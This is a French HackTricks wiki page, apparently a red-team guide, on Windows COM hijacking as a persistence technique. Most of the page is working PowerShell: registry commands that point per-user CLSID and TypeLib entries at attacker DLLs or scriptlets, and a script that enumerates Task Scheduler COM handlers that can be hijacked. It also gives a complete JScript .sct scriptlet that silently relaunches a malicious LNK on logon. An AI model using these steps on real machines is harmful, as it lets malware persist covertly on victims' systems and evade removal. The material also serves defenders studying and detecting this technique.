COM Hijacking
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Searching not existent COM components
Comme les valeurs de HKCU peuvent être modifiées par les utilisateurs, COM Hijacking peut être utilisé comme mécanisme persistant. En utilisant procmon, il est facile de trouver des entrées du registre COM recherchées qui n’existent pas et que un attaquant pourrait créer pour assurer une persistance. Filtres :
- RegOpenKey opérations.
- où le Result est NAME NOT FOUND.
- et le Path se termine par InprocServer32.
Une fois que vous avez décidé quel COM inexistant usurper, exécutez les commandes suivantes. Faites attention si vous décidez d’usurper un COM qui est chargé toutes les quelques secondes car cela pourrait être excessif.
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Composants COM du Planificateur de tâches susceptibles d’être détournés
Les tâches Windows utilisent des Custom Triggers pour appeler des objets COM et, comme elles sont exécutées via le Planificateur de tâches, il est plus facile de prévoir quand elles seront déclenchées.
# Show COM CLSIDs
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
# Sample Output:
# Task Name: Example
# Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]
En vérifiant la sortie, vous pouvez en sélectionner une qui sera exécutée, par exemple, à chaque connexion d’un utilisateur.
En recherchant maintenant le CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} dans HKEY\CLASSES\ROOT\CLSID et dans HKLM et HKCU, vous trouverez généralement que la valeur n’existe pas dans HKCU.
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\some.dll
ThreadingModel : Both
# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Ensuite, il vous suffit de créer l’entrée HKCU et à chaque connexion de l’utilisateur, votre backdoor sera déclenchée.
COM TypeLib Hijacking (script: moniker persistence)
Les Type Libraries (TypeLib) définissent les interfaces COM et sont chargées via LoadTypeLib(). Lorsqu’un serveur COM est instancié, l’OS peut aussi charger le TypeLib associé en consultant les clés du registre sous HKCR\TypeLib\{LIBID}. Si le chemin du TypeLib est remplacé par un moniker, p.ex. script:C:\...\evil.sct, Windows exécutera le scriptlet lorsque le TypeLib sera résolu — générant une stealthy persistence qui se déclenche lorsque des composants courants sont sollicités.
Cela a été observé contre le Microsoft Web Browser control (souvent chargé par Internet Explorer, des apps intégrant WebBrowser, et même explorer.exe).
Étapes (PowerShell)
- Identifiez le TypeLib (LIBID) utilisé par un CLSID fréquemment sollicité. Exemple de CLSID souvent abusé par des malware chains:
{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
- Pointez le chemin TypeLib par utilisateur vers un scriptlet local en utilisant le moniker
script:(aucun droit d’administration requis) :
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
- Déposez un
.sctJScript minimal qui relance votre payload principal (par ex. un.lnkutilisé par la chaîne initiale) :
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
- Déclenchement – ouvrir IE, une application qui intègre le WebBrowser control, ou même une activité routinière d’Explorer chargera le TypeLib et exécutera le scriptlet, re-arming your chain on logon/reboot.
Nettoyage
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
Remarques
- Vous pouvez appliquer la même logique à d’autres composants COM fréquemment utilisés ; résolvez toujours d’abord le véritable
LIBIDdepuisHKCR\CLSID\{CLSID}\TypeLib. - Sur les systèmes 64 bits, vous pouvez également remplir la sous-clé
win64pour les consommateurs 64 bits.
Références
- Hijack the TypeLib – New COM persistence technique (CICADA8)
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

